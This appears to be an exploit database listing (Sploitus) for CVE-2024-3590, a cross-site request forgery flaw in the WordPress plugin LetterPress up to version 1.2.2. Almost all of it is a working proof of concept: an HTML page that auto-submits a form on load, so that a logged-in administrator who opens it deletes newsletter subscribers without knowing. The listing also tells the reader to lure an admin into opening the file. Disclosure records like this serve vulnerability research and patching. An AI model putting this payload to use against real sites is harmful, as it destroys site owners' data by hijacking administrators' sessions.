Exploit for LetterPress <= 1.2.2 - Subscriber Deletion via CSRF CVE-2024-3590

Name: Exploit for LetterPress <= 1.2.2 - Subscriber Deletion via CSRF CVE-2024-3590
Rating: 5 (39 reviews)

2024-04-18 | CVSS 6.9

## https://sploitus.com/exploit?id=WPEX-ID:829F4D40-E5B0-4009-B753-85CA2A5B3D25
Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=letterpress-subscribers" method="POST">
        <input type="text" name="subscriber[]" value="1" />
        <input type="text" name="action" value="delete" />
        <input type="text" name="action2" value="delete" />
        <input type="submit" value="submit">
    </form>
</body>
```